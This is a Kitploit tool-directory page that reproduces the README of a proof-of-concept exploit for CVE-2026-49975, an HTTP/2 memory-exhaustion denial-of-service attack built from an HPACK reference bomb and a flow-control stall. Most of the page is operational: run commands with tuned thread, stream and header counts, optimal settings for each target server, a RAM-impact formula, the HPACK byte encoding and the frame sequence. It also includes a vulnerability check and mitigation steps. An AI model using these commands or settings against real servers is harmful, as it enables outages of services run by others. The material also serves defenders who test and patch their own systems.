Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-49975-POC — HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall) | Kitploit
Tools/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
Vulnerability AnalysisExploitationWeb SecurityNetwork SecurityPenetration Testing
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

HTTP/2 Bomb PoC — CVE-2026-49975 (HPACK indexed reference bomb + flow-control stall)

View Repository
2982 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-49975 — HTTP/2 Bomb PoC

CVE Severity Python

Proof-of-concept exploit for CVE-2026-49975, a remote denial-of-service vulnerability in HTTP/2 server implementations. Discovered by Quang Luong (Calif Security Research), disclosed June 2, 2026.

For authorized security testing only. Do not use against infrastructure you do not own or have written permission to test.


How It Works

The attack chains two HTTP/2 protocol mechanisms:

1. HPACK Indexed Reference Bomb

HPACK (RFC 7541) lets senders reference previously-seen headers by index — usually one byte. The exploit inserts a nearly-empty header into the dynamic table once, then references it thousands of times. Each 1-byte wire reference forces the server to allocate ~70 bytes of internal bookkeeping per entry. No large values are involved, so "max decoded header size" limits never fire.

2. HTTP/2 Flow-Control Window Stall

By advertising a zero-byte receive window, the attacker prevents the server from sending its response or freeing any memory. Periodic 1-byte WINDOW_UPDATE frames reset the server's send timeout, keeping allocations pinned for as long as the connection is open.

Result: ~16 KB sent per stream → ~1.15 MB server RAM allocated and held per stream.


Affected Servers


Usage

No dependencies — stdlib only.

root@kitploit:~
# Basic test (single connection)
python3 exploit-test.py target.com 443

# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl

Arguments

RAM Pressure Estimate

root@kitploit:~
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

Optimal Settings by Target


Check If a Target Is Vulnerable

root@kitploit:~
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerable if:
# - ALPN: server accepted h2   (HTTP/2 enabled)
# - server: nginx/X.Y.Z        (where X.Y.Z < 1.29.8)

Mitigations

nginx — upgrade to 1.29.8+ and add:

root@kitploit:~
http2 max_headers 1000;

Or disable HTTP/2 entirely:

root@kitploit:~
# Remove "http2" from listen directive
listen 443 ssl;

Apache httpd — upgrade mod_http2 to v2.0.41+. Interim: Protocols http/1.1

IIS / Envoy / Pingora — no patch available at time of writing. Disable HTTP/2 or front with a patched proxy.

General (all servers):

root@kitploit:~
# Cap worker memory to limit blast radius
ulimit -v 2097152   # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"

Technical Details

HPACK Encoding

root@kitploit:~
Dynamic table seed (incremental indexing, adds to index 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Indexed reference to entry 62 (1 byte each):
  0x80 | 62 = 0xbe

Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes

HTTP/2 Frame Sequence

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (stall setup)
  SETTINGS ACK                          (after reading server SETTINGS)
  HEADERS [stream 1]  ← bomb payload   (pseudo-headers + HPACK bomb)
  HEADERS [stream 3]  ← bomb payload
  ...
  WINDOW_UPDATE(1) per stream / 1s      (keep-alive stall)

Files

FileDescription
exploit-test.pyMain PoC — multi-stream, continuous reconnect, nginx + classic modes
SECURITY-REPORT-MIST.mdAuthorized assessment report for mist.ac.bd
LICENSEMIT

References

  • CVE-2026-49975
  • RFC 7541 §7.3 — HPACK Memory Consumption
  • RFC 9113 §8.2.3 — Cookie header splitting
  • CVE-2016-6581 — Original HPACK Bomb (Cory Benfield, 2016)
  • CVE-2025-53020 — Apache HPACK 4000:1 (Gal Bar Nahum, 2025)
Download Tool
ServerAmplificationDemo ImpactStatus
Envoy 1.37.2~5,700:132 GB in ~10sNo patch at disclosure
Apache httpd 2.4.67~4,000:132 GB in ~18sFixed in mod_http2 v2.0.41
nginx < 1.29.8~70:132 GB in ~45sFixed in nginx 1.29.8
Microsoft IIS (WS 2025)~68:164 GB in ~45sNo patch at disclosure
Cloudflare Pingora~68:1—No patch at disclosure
FlagDefaultDescription
target—Hostname or IP
port443TCP port
--threads1Parallel connections (each reconnects on close)
--streams10HTTP/2 streams per connection
--headers5000HPACK indexed references per stream
--modenginxnginx (bookkeeping, 70:1) or classic (large value, 4000:1)
--no-ssloffDisable TLS (h2c)
TargetMode--headersNotes
nginx < 1.29.8nginx16374Stays within default http2_max_header_size 16k
Apache httpdclassic5000Cookie crumb technique
Envoyclassic32000High amplification